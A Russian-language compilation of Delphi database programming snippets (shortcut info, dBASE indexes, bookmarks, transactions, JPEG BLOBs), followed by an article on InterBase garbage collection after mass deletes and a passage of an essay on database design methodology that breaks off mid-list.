LinkInfo.FullPathAndNameOfLinkFile := 'C:\WINNT\Profiles\user\Desktop\FileName.lnk'; GetLinkInfo(@LinkInfo); With LinkInfo do. S := FullPathAndNameOfLinkFile + br + FullPathAndNameOfFileToExecute + br + ParamStringsOfFileToExecute + br + FullPathAndNameOfWorkingDirectroy + br + Description + br + FullPathAndNameOfFileContiningIcon + br + IntToStr(IconIndex) + br + IntToStr(LoByte(HotKey)) + br + IntToStr(HiByte(HotKey)) + br + IntToStr(ShowCommand) + br + FindData.cFileName + br + FindData.cAlternateFileName; Memo1.Lines.Add(s); End; // Only for D3 or higher. // for D1,D2 users: http://www.hitekdev.com/delphi/shellutlexamples.html.

Создание индекса.

Автор: OAmiry (Borland).

Ниже приведен код обработчика кнопки OnClick, с помощью которого строится индекс:

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. BActive, bExclusive: Boolean; Begin. BActive := Table1.Active; BExclusive := Table1.Exclusive; Table1.IndexDefs.Update; With Table1 do. Begin. Close; {таблица dBASE должна быть открыта в монопольном (exclusive) режиме}. Exclusive := TRUE; Open; If Table1.IndexDefs.IndexOf('FNAME') <> 0 then. Table1.AddIndex('FNAME', 'FNAME', []); Close; Exclusive := bExclusive; Active := bActive; End; End;

Удаление большого количества записей.

Судя по письмам в конференции fido7.su.dbms.interbase, существует определенный процент (около 15) задач, которые требуют периодического удаления большого количества записей. Это либо просто чистка устаревшей информации, либо перенос части данных в архив, но почти всегда - выполнение операции DELETE FROM... над количеством записей от десятков и сотен тысяч до нескольких миллионов.

При отсутствии знаний по архитектуре InterBase такая операция действительно становится проблемой. Если DELETE проходит относительно быстро, то последующие операции выборки могут "встать" на длительный период времени (возможно часы или даже десятки часов), во время которого InterBase будет интенсивно обращаться к базе данных.

Для начала нужно разобраться, что же происходит при операции DELETE. А происходит вот что - в силу архитектуры многоверсионности записей удаление записей не приводит к их действительному удалению. Просто рядом с версией записи пишется ее новая версия, но без значений полей, а с индикатором удаления. При этом, понятно, занимаемое таблицей дисковое пространство (количество страниц) может увеличиться, хотя на первый взгляд это кажется парадоксальным. (подробнее о сборке мусора и многоверсионности см. список статей внизу).

Далее, в силу уже правил сборки мусора, записи будут реально удалены (удалены предыдущие версии и delete-stub) только при попытке чтения этих записей. Пока никто к ним не обратился - устаревшие записи с диска вычищены не будут.

Итак, после массового удаления даем SELECT COUNT(*)..., возможно с тем же условием что и DELETE, для "вычистки" удаленных записей. Разумеется, результат этого запроса будет равен нулю, т.к. записей нет. Но "мусорные" записи будут собраны. Причем процесс сборки мусора будет никак не быстрее, чем время выполнения DELETE, а зачастую и много дольше (отчасти и потому, что старых версий записей была не одна, а несколько). Лучше всего select count выполнять в следующей после удаления транзакции.

Но самое большое влияние на скорость чистки удаленных записей оказывают неуникальные индексы. В качестве пояснения и примера лучше процитировать одно из писем Анны Харрисон (ныне директор IBPhoenix) на эту тему:

"Если возможно, посмотрите статистику сервера (gstat или Server Manager). Найдите индексы с наиболее длинными цепочками дубликатов у таблиц, которым предстоит пережить массовое удаление. Если цепочка больше 7000 строк (ключей) то стоимость сборки мусора будет меньше, если сделать индексы более селективными - например изменив одиночый индекс на композитный с оригинальным полем в качестве первого поля индекса и полем первичного ключа в качестве второго поля индекса.

Я попробовала удалить 20 тысяч записей из таблицы и собрать мусор - при записи небольшого размера и одном уникальном индексе (на очень медленном процессоре и антикварном винчестере) удаление заняло 47.54 секунды, а сборка мусора - 75.90 секунд (1 минута, 15.90 секунд). После этого я добавила индекс с 20000 дубликатов значений и после этого удаление заняло 38.04 секунды, но сборка мусора заняла 865.47 секунд (14 минут, 25.47 секунд).

Вот статистика запроса, который привел к сборке мусора в обоих случаях:

С уникальным индексом С дубликатами.

· Elapsed time= 75.90 sec Elapsed time= 865.47 sec

· Reads = 1694 Reads = 1814

· Writes = 1499 Writes = 1732

· Fetches = 225,541 Fetches = 2,540,593

Обратите внимание на elapsed time и fetches - они отличаются более чем в 10 раз.".

Харрисон дальше выводов не делает, кроме упомянутого в цитате изменения неуникального индекса. На самом деле зачастую (в зависимости от процентного соотношения записей которые удаляют, и которые остаются) бывает проще удалить или "выключить" этот неуникальный индекс.

Причем оказалось (спасибо Владимиру Мамзикову), что ALTER INDEX INACTIVE на самом деле не только удаляет индекс, оставляя его описание в базе данных, но и производит какие-то дополнительные действия. Эти действия тоже могут занять определенное время, причем чем больше дубликатов в индексе, тем больше времени это займет. DROP INDEX не производит этих "действий", и выполняется практически мгновенно.

Уже знакомые с IB могут спросить - а почему не был предложен способ backup/restore для избавления от мусора? Действительно, этим способом можно пользоваться (не забыв включить опцию Disable garbage collection), но при определенных размерах базы данных (несколько гигабайт) бывает выгоднее по скорости удалить индексы, чем делать backup restore.

Напоследок, немного данных по реальному проекту от Владимира Мамзикова:

· База данных - 1.5Гб, несколько таблиц с ~1 млн записей, одна таблица с 9 млн записей.

· Удаление ~4 млн записей (delete) - несколько минут

· Сборка мусора (4млн записей) select count - 20 и более часов

· Операция backup/restore (с disable garbage collection) - в сумме 15 минут

· Отключение неуникального индекса (alter index inactive) - 6 минут

· Сборка мусора (4млн записей) select count без индекса - 12 минут

· Удаление неуникального индекса (drop index) - несколько секунд (против 6 минут alter index inactive).

Разумеется, сюда не включено время активирования или повторного создания неуникального индекса. Но этот процесс в основном зависит от скорости винчестера, а кроме того, вероятно что количество оставшихся в таблице записей намного меньше, чем количество удаленных, поэтому индексирование пройдет быстро.

©Drkb::02923.

Взято с http://delphiworld.narod.ru.

Как сравнить Bookmarks в таблице.

Code: Function TBDEDirect.CompareBookmarks(Bookmark1, Bookmark2: TBookmark): Boolean; Var. Res: DBIResult; CompareRes: Word; Begin. Result := False; If CheckDatabase then. Begin. Res := DbiCompareBookmarks(FDataLink.DataSource.DataSet.Handle, Bookmark1, Bookmark2, CompareRes); If Res = 0 then. If CompareRes = 0 then. Result := True. Else. Else. Check(Res); End; End;

Внести изменения в набор данных и не потерять текушей позиции.

Code: Procedure TMyForm.MakeChanges; Var. ABookmark: TBookmark; Begin. Table1.DisableControls; ABookmark := Table.GetBookmark; Try. {ваш код}. Finally. Table1.GotoBookmark(aBookmark); Table1.FreeBookmark(aBookmark); Table1.EnableControls; End; End.

Работа с транзакциями.

Code: DbMain.StartTransaction; Try. SpAddOrder.ParamByName('ORDER_NO').AsInteger := OrderNo; SpAddOrder.ExecProc; For i := 0 to PartList.Count - 1 do. Begin. SpReduceParts.ParamByName('PART_NO').AsInteger := PartRec(PartList.Objects[i]).PartNo; SpReduceParts.ParamByName('NUM_SOLD').AsInteger := PartRec(PartList.Objects[i]).NumSold; End; DbMain.Commit; Except. DbMain.RollBack; Raise; End;

Сохранить в базе картинку формата JPEG.

Code: Uses JPEG; ... If Picture.Graphic is TJPegImage then. Begin. Bs:=TBlobStream.Create(TBlobField(Field),bmWrite); Picture.Graphic.SaveToStream(bs); Bs.Free; End. Else if Picture.Graphic is TBitmap then. Begin. Jpg:=TJPegImage.Create; Jpg.CompressionQuality:=...; Jpg.PixelFormat:=...; Jpg.Assign(Picture.Graphic); Jpg.JPEGNeeded; Bs:=TBlobStream.Create(TBlobField(Field),bmWrite); Jpg.SaveToStream(bs); Bs.Free; Jpg.Free; End. Else. Field.Clear;

Проектирование баз данных (статья).

Цель данного доклада - оценить сегодняшние проблемы и тенденции развития технологий проектирования БД, а также, хотя бы отчасти - требования завтрашнего дня. Доклад может сыграть еще одну роль: задать набор актуальных требований, которые будут служить координатами для позиционирования конкретных частных методов и инструментов проектирования БД (отчасти также - средств их использования и управления ими), которые представляются в двух специальных секциях данной конференции.

Интегрированная база данных - констатация идеи.

Широко известные методы проектирования баз данных (БД) появились в процессе разработки все более сложных Информационных Систем (ИС), которые должны были рассматривать потребности не одного пользователя, но больших групп и коллективов. Одна такая интегрированная БД создавалась для решения многих задач, каждая из которых использовала только "свою" часть данных, обычно, пересекающуюся с частями, используемыми в других задачах. Поэтому главнейшими методами проектирования стали методы исключения избыточности в данных. Эти методы связывались с другими средствами обеспечения логической целостности данных.

Было сформулировано принципиальное требование отделения программ от интегрированных данных. Этот принцип направлен на отчуждение данных в качестве ресурса предприятия, важен также тем, что консервативные по характеру данные отделялись от прикладных программ, которые могли часто подвергаться изменениям.

Другой важной проблемой проектирования БД явилось обеспечение нужных эксплуатационных параметров, таких как объем внешней памяти или время выполнения различных операций. Известны и другие требования. Например, информация не должна потеряться не только из-за отказов оборудования, но и вследствие ошибки пользователя. Это отличается от того положения, при котором тот, кто решает некую задачу, сам и отвечает за сохранность данных для этой задачи.

Сформировалось понимание интегрированной БД как общего информационного ресурса предприятия. Хранимые данные стали аналогичны большому компьютеру, который одновременно используется многими пользователями с различными целями и должен быть все время работоспособен.

За идеей - классическая методология проектирования.

Классическая методология проектирования БД - это мощное и красивое течение со своей философией, способами восприятия реальности и способами существования в ней. В этом течении возникла своя прикладная математика, свое понятие "Мира", "Предметной Области" (ПрО) и их моделей. В отношении проектирования БД осознаны и интегрированы в стройные схемы методы выполнения таких проектных этапов:

Сбор сведений о ПрО (анализ потребностей и описание ПрО с использованием так называемых "процессного" или UP, "usage perspective" подхода и "непроцессного" или ISP, "information structure perspective" подхода);

Выбор языка представления т.н. "семантической" модели для фиксации сведений о ПрО, их последующего анализа и синтеза модели БД;

Анализ собранных сведений о ПрО: классификация, формализация и интеграция структурных элементов описания ПрО, формализация как структурных, так и процедурных ограничений целостности элементов в будущей модели ПрО, определение динамики экземпляров объектов ПрО;

Синтез концептуальной модели БД: проектирование целостной концептуальной схемы БД на выбранном языке семантического моделирования;

Выбор конкретной модели данных и СУБД для реализации БД;

Проектирование логической схемы БД для выбранной СУБД (называющееся также "проектирование реализации");

Разработка физической структуры БД ("физической" или "внутренней" схемы, она же - "схема размещения"), включая размещение БД по узлам;

Разработка технологии и процедур начального создания и заполнения БД;

Разработка технологии и процедур сопровождения БД;

Разработка универсальных программ доступа к БД и соответствующих интерфейсов пользователей;

Информационное обеспечение разработки конкретных программ обработки данных: обеспечение метаинформацией, данными контрольных примеров и др.;

Получение обратной связи от разработчиков прикладных программ и пользователей Информационной Системы (ИС) о полноте и эффективности организации БД;

Тестирование БД, ее развитие и улучшение (настройка) ее структуры.

Есть все основания называть методологию классической: для указанных методов разработаны полные, целостные методические системы, для большинства методов предложены формализованные модели, эти модели - или, по крайней мере, их итоговые выразительные возможности - нашли реальное применение в практике проектирования. Один только перечень основных моделей данных и их авторов производит внушительное впечатление, см. их обзор, например, в [Цикридзис85].

Использовалась дисциплина т.н. структурного анализа при проектном подходе "сверху вниз". Структурность связывается с использованием иерархических структур для детализации данных и функций, и соответствующих достаточно "жестких" проектных процедур. Проектная схема получила название "каскадной". Она хорошо согласована с аналогичной схемой проектирования ПО - программного обеспечения.

За методологией - мастерская инструментов проектирования БД.

Проектирование комплексной по предметной направленности, интегрированной и, обычно, большой по размеру БД стало сложной задачей. Наличие целостной методологии проектирования позволило позаботиться о "сапожнике-проектировщике" и начать шить ему сапоги в виде систем автоматизации проектирования БД. Этому способствовало наличие технологического опыта в организации и компьютерной поддержке систем разработки программного обеспечения и, с другой стороны, использование активных интегрированных словарей-справочников данных (DD/D, Data Dictionary/Directory). Так возникли системы CASE (Computer Aided System Engineering) - системы для структурного проектирования БД и связанных с ними ИС, ориентированные на модели данных, реализованные в различных СУБД. Наибольшую популярность получили CASE-системы для реляционных СУБД с SQL-моделями данных, а DD/D переименовался в CASE-репозиторий проектируемой ИС.

На этом пути возникло два основных направления развития CASE-систем и технологий проектирования: CASE-системы для проектирования собственно БД (или т. н. Upper-CASE) и интегрированные инструменты, позволяющие и проектировать БД, и разрабатывать использующие их прикладные программы. Важно отметить, что и Upper-CASE в общем случае имеют много средств для описания функций обработки информации (при использовании процессного подхода к сбору и анализу сведений о ПрО) и хранения этих описаний в репозитории. Это подтверждает положение о сильной связи проекта БД и проекта ИС, базирующейся на этой БД. Вместе с тем, эта связь не абсолютна, и принцип отделения БД от программ сохраняется.

Часто интегрированность функций приводит к сильному сращиванию CASE-системы с одной СУБД, на которую ориентированы CASE-средства разработки прикладных программ. Такое сращивание имеет несколько проявлений, например, CASE-репозиторий поддерживается средствами "родной", но единственной СУБД, генерация прикладных программ производится "родными" инструментами разработки этой же СУБД, но только ими. Для таких интегрированных CASE-систем отображение концептуальной модели БД в логическую схему часто делается также только для предопределенной СУБД.

Последний факт связан с еще одной задачей, которая может ставиться при проектировании БД: проектирование переносимой БД, которая может быть реализована на платформах разных типов компьютеров, операционных систем, СУБД и даже моделей данных, и, при необходимости, переноситься с одной платформы на другую.

С учетом сказанного, классическая Мастерская проектировщика БД включает совокупность классических структурных методов проектирования, набор соответствующих инструментов моделирования, реализации, загрузки и сопровождения БД, а также "каскадную" организационную схему выполнения этих работ по принципу "сверху вниз".

Особо - о временных характеристиках и транзакциях.

Обеспечение эксплуатационных характеристик БД - по-прежнему непростая задача несмотря на повышение удельной мощности компьютеров и снижение удельной стоимости памяти. При этом определение временных характеристик работы с БД и сохранение этих характеристик в процессе эксплуатации БД относится к труднейшим проектным задачам. На этапах проектирования для определения рациональной физической схемы БД от способов определения временных характеристик нужно следующее:

Возможности сравнения временных параметров вариантов реализации разных вариантов схемы БД, на некоторой СУБД;

Возможности сравнения параметров вариантов реализации одной схемы БД на разных СУБД;

Возможности сравнения параметров реализации одной схемы БД на разных аппаратных серверах БД;

Возможности предсказания временных параметров работы различных прикладных программ и служебных программ-утилит.

Задача сравнения временных параметров разных СУБД рассматривается как самостоятельная. Однако, она часто должна решаться как часть проектной задачи выбора СУБД для проектируемой БД и в процессе этого проектирования.

Понятие транзакции было введено для определения законченной совокупности действий над БД, которая переводит БД из одного целостного в логическом смысле состояния в другое. На его базе строились, прежде всего, механизмы корректной актуализации и восстановления БД. Однако, затем на этой основе стали базироваться и другие механизмы и методы.

Временные оценки СУБД наиболее популярных тестов последнее время даются в виде числа транзакций определенного стандартизованного вида в единицу времени. Распределенная обработка строится на основе мониторов транзакций.

Нужно будет обнаруживать пределы возможностей такого деления работ на достаточно мелкие порции. Здесь отметим очень важный эффект: практика ориентации на "транзакционный подход" тесно связана с классической методологией проектирования БД, которая развивалась, в основном, как методология проектирования так называемы "операционных" БД, то есть баз данных, которые должны фиксировать отдельные совершаемые операции и хранить модель текущего фактического состояния объекта или ПрО.

Оценка достигнутого состояния.

Не исключено, что у читателя создалось впечатление будто мы уже владеем современной методологией или, по крайней мере, близки к этому, что, к сожалению, не так, и, может быть, мы никогда ничего подобного не добьемся. Всегда несложно охарактеризовать методологию на концептуальном уровне, весьма трудно применить ее на практике. Камень преткновения - сложность проникновения в существо предметной области (например, сложности понимания механизма деятельности организации) и адаптации ее к новым, возможно лучшим, условиям функционирования.

Аналогичные проблемы характерны для СУБД в целом. Система баз данных должна стать органическим элементом системы управления организацией - вот залог ее успешного применения. Однако процесс ее внедрения связан с определенными изменениями в самой организации и в деятельности ее сотрудников, и мы всегда будем сталкиваться с естественной инертностью людей, когда речь идет о восприятии изменений....

Весьма важно, чтобы средства СУБД были адекватны потребностям пользователей. Поскольку разным пользователям могут понадобиться разные модели данных, языки данных и схемы, желательно, чтобы СУБД поддерживала множество средств, а пользователь мог выбирать из них наиболее подходящие. ...

Можно, конечно, поставить под сомнение ценность таких исследований. Действительно, каким бы плохим ни был язык программирования, его в конце концов все-таки можно выучить. Точно также и средства СУБД можно освоить за определенный период времени. Но проблема состоит не в освоении средств, а в эффективности их использования. Машина должна быть служанкой человека, но не наоборот!

Выше шрифтом выделена цитата из [Цикритзис85]. С тех пор СУБД, методы проектирования БД и соответствующие инструменты значительно прибавили в возможностях. Но остальной мир тоже не стоял на месте, существенно усложнились стоящие перед разработчиками ИС и БД задачи. И надо признать: формулировки Цикритзиса и Лоховски не устарели.

Что и как из классических методов проектирования применяется в практике настоящего времени.

Применяются на практике:

СУБД, поддерживающие реляционную модель данных 1971 года с некоторыми расширениями (см., например, [Дадли96]);

Иерархическая "каскадная" схема структурного проектирования БД при подходе "сверху-вниз";

CASE-системы для структурного проектирования баз данных, ИС в целом или, к тому же, прикладных программ ИС. Наиболее часто используются: варианты ER-модели данных; табличная реляционная модель 1971 года, расширенная тем или иным дополнительным набором средств описаний ограничений целостности (ссылочная целостность, бизнес-правила); для анализа "процессного" источника сведений чаще всего предоставляются модели потоков данных или SADT, возможно, расширенные дополнительными связями по управлению (эти связи нельзя смешивать с выделенными потоками условий выполнения функций в нотации IDEF0);

Утилиты динамического администрирования БД, обеспечивающие следующие функции:

Отслеживание динамики показателей эксплуатации БД: показатели доступны в любой момент на фоне работы приложений, эти показатели ("статистика") могут использоваться для поддержки оптимального динамического построения путей доступа к данным,

Создание резервных копий БД, также как и ведение копий БД горячего резерва на фоне работы приложений, восстановление и откат фрагментов и полной БД,

Возможна динамическая реорганизация БД (переразмещение БД и отдельных физических фрагментов, логическая и физическая реструктуризация данных), однако, эти возможности являются ограниченными.

Учет пользовательских требований к представлению данных в большем диапазоне, чем ранее. Требования к учету специфики представлений часто стали преобразовываться из положений желательности наличия разных внешних моделей данных к положению доступности значительного числа пользовательских инструментов, имеющих различные интерфейсы и, практически, различные внешние модели данных.

Что теряется.

Вместе с тем, многое из классического наследия на практике не используется или используется плохо. В первую очередь, это относится к использованию формализованных методов и моделей, если только они не входят в используемую модель данных непосредственно, а должны применяться проектировщиками для получения и верификации высокого качества проектных решений, например:

Полная процедура нормализации высоких степеней и минимизации набора отношений не проводится или проводится редко, если же экспертиза проверки на соответствие даже 3НФ или БКНФ предусмотрена в CASE-средствах, эта возможность редко используется на практике ввиду ее громоздкости и высоких требований к квалификации проектировщика, использующего CASE;

Оптимизация размещения БД на устройствах внешней памяти проводится "на глазок", распространенные сегодня тесты временных параметров не приспособлены для помощи в решении этой задачи проектирования;

Так же "на глазок" производится оптимизация размещения БД по узлам распределенной БД.

Значительно меньшее внимание в последнее время уделяется и инструментальным средствам автоматизации физического проектирования БД, включая математическое и натурное моделирование характеристик БД, в том числе - с учетом размещения по узлам распределенной ИС. Оптимизация размещения БД по узлам распределенной БД не поддерживается распространенными CASE-средствами. Отдельные инструменты и работы, включая отечественные исследования, не делают "погоды" в Мастерской средств проектирования, и не поддерживают живой школы этого направления.

Этому есть, на наш взгляд, несколько причин:

Высокие требования к квалификации проектировщиков в области теоретических основ классического проектирования БД;

Громоздкость методов, используемых в рамках "каскадной" схемы, в условиях практической невозможности обеспечить устойчивость больших интегрированных решений в мире с постоянно меняющимися требованиями к ИС;

Относительная легкость выполнения реорганизации логической и физической структуры БД в реляционных СУБД (однако, и это конкретизируется в конце доклада, в современных условиях такой подход становится одной из ловушек для проектировщика).

Ограничения классических методов.

Классические модели и методы ориентировались на организацию хранения и обработки детально структурированных данных, чему отвечало понятие "атрибута" как свойства объекта, представляемого атомарным элементом данных. В следствие этого, например, полнотекстовые БД сразу выделялись в особый тип баз данных. Для их проектирования существовало отдельное течение - ИПС или Информационно-Поисковые Системы.

Спустя годы и десятилетия после объявления своих классических моделей и концепций классики в явном виде описывали их ограниченность. Так, в [Codd79] было указано, что "при обсуждении моделирования семантики данных акцент делается на структурные аспекты в ущерб аспектам обработки. Структура без соответствующих операций или подразумеваемых методов подобна анатомии в отсутствии физиологии".

Еще через 14 лет Е. Кодд и соавторы в [Codd93] фиксировали: "... обладание большой корпоративной БД имеет маленькое значение, если конечные пользователи не имеют возможностей легко синтезировать необходимую информацию из этих запасов (складов) данных. Слишком часто мы имеем именно такие обстоятельства.".

Наконец, наступило время, когда проектирование БД (и ИС в целом) по классическим правилам полноты и целостности часто стало практически бессмысленным. Весли П. Меллинг (Garthner Group) указал в [Меллинг95]: "К 1990 году почти все аспекты "стандартной процедуры работы" с ИТ (Информационными Технологиями - прим. Е.З.) были оспорены, и вычислительные архитектуры вырвались из-под контроля. ... Стандарты программирования размывались, а понятие неизбыточных, непротиворечивых, высококачественных данных годилось разве что для груды хлама.".

Причины появления новых требований.

Феномены глобальных компьютерных коммуникаций и повсеместных персональных вычислений (вместе в падением удельной стоимости средств вычислительной техники) привели ко многим новым возможностям БД и их проектирования. Список типов хранимых и обрабатываемых данных расширился до возможных пределов, определяемых самым общим нормативным значением понятия "данное". В корпоративные БД включаются не только неформатированные элементы и полнотекстовые фрагменты, но также БД с геоинформацией, мультимедийные БД, и это не исчерпывающий перечень.

Более того, новые возможности ИТ - вместе с рядом чисто экономических причин - привели к увеличению рыночных возможностей и требований потребителей, как следствие - к резкому усилению конкуренции в различных отраслях промышленности и услуг. Ответом послужило объявление императива бизнес-реинжиниринга: от BPR М. Хаммера ([Hammer93]) до строительства киберкорпораций по Дж. Мартину ([Мартин95]). В этих подходах требуется осуществление радикальных изменений в организации основной деятельности предприятий. В частности:

Резкое снижение затрат времени, числа работников и других затрат на выполнение производственных функций;

Глобализация бизнеса: работа с клиентами и партнерами в любой точке мира, а также работа с клиентом в режиме 24*365;

Опора на рост мобильности персонала, снабжение работника всеми возможностями для самостоятельного получения конечного результата;

Работа на будущие потребности клиента, ускоренное продвижение новых технологий.

Если ИТ были одним из толчков к такому развитию ситуации, то они оказались призваны и для того, чтобы обеспечить успех и саму возможность планируемых реконструкций. Возникли новые требования к архитектуре корпоративных ИС, как следствие - новые требования к корпоративным БД.

Также, как саму ИС нельзя рассматривать в отрыве от ее пользователей, и новое проектирование должно рассматриваться как интеграция трех составных частей: требований бизнес- реинжиниринга, человеческого фактора и методов новых ИТ. Реальное объединение этих трех составных частей, каждая из которых приобрела в 90-е годы качественно новое наполнение, создало начала того, что можно назвать Новым Системным Проектированием - Н.С.П..

Что нужно от баз данных для ответа на новые требования.

Покажем новые требования к корпоративным БД на примере двух аспектов создания новых корпоративных ИС (из более чем двух десятков видов работ, составляющих основу Н.С.П. - см. [Зиндер96]):

Обеспечение максимальных возможностей для каждого работника, то есть поддержка выполнения всех бизнес-функций тем самым работником, который и получает конечный результат. Со стороны ИС, БД и СУБД для этого требуется:

Обеспечение средств доступа ко всем необходимым данным с использованием распределенных БД, средств репликаций данных, управления событиями в данных и процессах обработки транзакций;

Использование архитектуры и программных средств хранилища данных, средств Оперативной Аналитической Обработки Данных (OLAP), применение средств быстрой разработки приложений (RAD) для создания "ИС руководителя" (EIS), средств поддержки принятия решений (DSS) на основе хранилища данных, OLAP и RAD/EIS;

Применение средств DSS на основе анализа БД прецедентов, а также методов логического вывода, нейронных сетей и нейрокомпьютеров, и др.;

Предложение единого интерфейса пользователя для работы с разными компонентами данных и приложений, использование в этом интерфейсе средств, повышающих простоту поиска информации и обращения к конкретным прикладным функциям, например, функции геоинформсистем, гипертекстовые, естественного языка, речевого ввода.

Разработка концепции и структуры корпоративной базы данных для новой ИС, реализация структуры БД, предполагающая снятие (существенное уменьшение) ограничений на ее развитие, в том числе, при смене функций или функциональных компонентов обработки информации:

Применение методов компонентного проектирования предметных БД как для операционных БД, так и для исторических БД хранилищ данных, архивов документов, гео-информационных и иных данных;

Разработка процедур компонентного изменения корпоративной БД при изменении бизнес-процедур, видов деятельности, применяемых приложений и географического размещения предприятия;

Постоянная актуализация понятийной модели деятельности предприятия для учета новых понятий, возникающих при изменении прикладных компонент на функционально сходные и при изменении видов деятельности предприятия, и построение на этой основе новых интерфейсов между компонентами ИС;

Динамическое администрирование фрагментами распределенной корпоративной БД при изменении частоты их использования, при модификации их структуры и при изменении их размещения.

Некоторые новые технические требования к базам данных можно получить из анализа в [Меллинг95].

Вошедшие в практику новые инструменты мастерской проектировщика.

Язык SQL, бывший в 80-м году всего лишь одним из языков, представляющих реляционную модель, стал реальным стандартом не только реляционной модели данных, но и промышленных СУБД. (В то же время, это - пример приобретения, которое быстро может стать обременительным.).

В реальных разработках наиболее распространенных организационно-производственных ИС в большинстве случаев или в большей части объемов работ произошла замена средств разработки с SQL во включающем 3GL-языке или языка 4GL процедурного типа на языки и инструменты 4GL с оконным интерфейсом на основе управления через меню и с использованием элементов концепции объектно-ориентированного программирования (и сохранением возможностей выхода на SQL и процедурный язык).

Возникли практически работающие стандарты de facto интероперабельной работы с данными, в первую очередь - стандарт ODBC.

Мультиплатформенность стала нормой, многопротокольность коммуникаций для распределенных БД реализуется на основе стандартов и интероперабельных мониторов транзакций, поддерживается "интернационализация" хотя бы в части настроек на таблицы национальных кодировок данных.

Вошли в практику новые структуры и типы данных, новые операции над данными: неформатированные элементы, полнотекстовые БД и их обработка, ГИС-данные, мультимедийные БД, гипертекстовые распределенные БД, распределенная обработка и обработка, доставляемая вместе с объектом на вход ИС. На практике наблюдаются шаги реальной интеграции упомянутых структур и операций.

Меняется подход к выбору СУБД, в первую очередь - для проектирования корпоративных БД, эксплуатация и развитие которых планируется как минимум на несколько лет. Все более используются экономические основания и критерии для выбора СУБД (см. [Зиндер95а]).

Объектная ориентация в проектировании БД здесь не рассматривается как уже реально существующий в практике новый инструмент Мастерской. (Не имеется в виду объектно- ориентированное программирование.) В настоящее время представляется обоснованным отнести такое проектирование все еще к направлениям исследований.

К новым подходам в организации проектирования БД.

Поскольку новые требования в большой, если не определяющей степени связаны с ростом скорости изменений в требованиях к ИС, новые подходы в методах проектирования неразрывно связаны с новой организацией проектирования.

Каскадные схемы организации проектирования ПО для ИС достаточно давно стали преобразовываться в циклические формы. Так, организация продолжающейся разработки IBM corp. (см. [Фокс85]) предусматривала непрерывное контролируемое развитие программной системы в виде передачи в эксплуатацию ее новых версий.

Сейчас различные циклические и спиральные схемы рассматриваются как средство использования преимуществ подходов быстрого прототипирования ИС с исключением их недостатков (неуправляемости) за счет использования классических структурных методов на каждом витке спирали.

Однако, такие циклические схемы сохраняют многие старые недостатки структурных методов. Для условий Н.С.П. важными недостатками являются:

Трудоемкость внесения изменений в действующие компоненты;

Ограничения возможностей компонентного проектирования использующего комплектации и перекомплектации различных готовых компонентов.

Существуют и другие, например, громоздкость ведения проектной документации. Все это полностью относится и к проектированию БД.

В условиях компонентного проектирования организационная схема проектирования БД должна выглядеть как схема параллельного спирального проектирования компонентов БД и их комплексирования по необходимости.

Часто можно встретить утверждения, что объектно-ориентированное проектирование и программирование решают проблемы, порожденные структурным подходом и остающиеся при использовании циклических схем. Однако, с использованием таких технологий вопросы смысловой интероперабельности, тем более - при компонентном проектировании, могут в реальности осложниться еще больше из-за инкапсулированности описаний и меньшего внимания к дисциплине документирования данных. Представляется, что делать выводы о границах применимости этих подходов еще рано.

От новых требований к типам и источникам информации - к новым архитектурным принципам БД.

Важнейшей задачей проектирования архитектуры корпоративной БД является обеспечение работы с самыми разнообразными типами и источниками информации. В соответствии с реальной практикой источниками и потребителями информации служат не только подразделения данного предприятия, головная контора холдинга или аппарат министерства, но и предприятия других отраслей (возможные поставщики и потребители, государственные регламентирующие органы и др.). Принцип глобализации бизнеса диктует: источники и потребители информации будут находиться в любой географической точке, где это окажется нужно.

Отсюда следуют стратегические для архитектуры БД и ИС в целом решения. Объединение требований к динамике и разнообразию типов информационных потоков, обрабатываемых в ИС, с учетом роста их объемов, и требований к разнообразию методов обработки позволяет дать следующую обобщенную характеристику технологий, формирующих архитектуру БД в составе ИС:

Компонентная технология проектирования и перекомплектации предметно- ориентированных операционных БД, допускающих работу пользователей через общие, в том числе, для Хранилища Данных, интерфейсы;

Расширенная технология Хранилища Данных, интегрирующая исторические форматированные данные, архивные текстовые документы, звуковые и видеоархивы, а также картографические данные, и включающая средства оперативной аналитической обработки данных, необходимые виды "дружественных" интерфейсов, например: гипертекстовый, ГеоИнформСистем и др.;

Открытость БД для включения в нее и получения из нее информации с использованием принципов Глобальной Информационной Магистрали;

Архитектура Открытых Систем, расширенная методами и средствами компонентного формирования: на верхнем уровне это открытость компонентного проектирования БД и свободного обмена с источниками информации любых внешних систем, на нижнем уровне - технологическая открытость БД на основе стандартов переносимости, интероперабельности, масштабируемости и др..

Расширенная технология Интегрального Хранилища заставляет на новой основе ставить вопрос о разработке интегрированной совокупности интерфейсов пользователя, которая создавала бы естественные условия для работы с информацией и функциями вне зависимости от того, к какому классу хранимых данных разработчик вынужден отнести сегодня его (пользователя) информацию.

К новым подходам в методах проектирования БД.

Как ответ на новые требования можно рассмотреть рекомендации к новым методам и инструментам проектирования БД. (Конечно, в предположении, что все новое есть ранее кем-то уже обнаруженное старое.).

Об исключении избыточности в данных.

Сохраняется как разумное требование однократного ввода данных в БД для решения разных задач и защиты от возникновения противоречий (нарушении логической целостности) при актуализации хранимых данных. Однако, в условиях глобального информационного пространства и компонентного проектирования контекст этих требований должен быть пересмотрен. Несомненно, в операционных БД рационально планировать "острова" нормализованных и, в классическом смысле, безызбыточных кластеров отношений или объектов. Эти "острова" чаще всего и будут являться давно известными предметными БД.

Вместе с тем, объединение исторических данных Хранилищ, БД ГИС-систем, архивов текстовых документов, потоков информации, получаемых по Информационной Магистрали и др. в общей постановке проектирования корпоративной БД приводит к отказу от повсеместного и всеобязательного принципа исключения избыточности: проектирование корпоративной БД на уровне логической схемы и на концептуальном уровне не опирается как на глобальный критерий на требование и процедуры исключения избыточности в данных.

Новая ситуация, включая существенный и заранее нерегламентированный поток информации из Информационной Магистрали в корпоративную БД потребует разработки или увеличения возможностей "процедур отождествления" экземпляров информационных структур, т.е. определения того, что эти экземпляры описывают один и тот же предмет реального мира.

Проблема консервации проблем.

Сам характер дисциплины проектирования, предусмотренный каскадной схемой, методами структурного проектирования и иерархическими подходами и структурами, подталкивает сейчас проектировщиков фиксировать достаточно жестко определенные модели ПрО. Должна быть изменена CASE-технология проектирования БД таким образом, чтобы исключить консервацию существующих проблем предприятий в жестких, "цельноинтегрированных" структурах БД. Для этого может потребоваться изменение не только технологии, но и инструментов проектирования.

Предполагаемые подходы:

Возможность фиксировать описания атрибутов, сущностей, связей, функций, и т.д. с любой степенью неполноты, возможности производить описания на уровне недетализированных, предметно связанных совокупностей информационных структур ("кластеров сущностей");

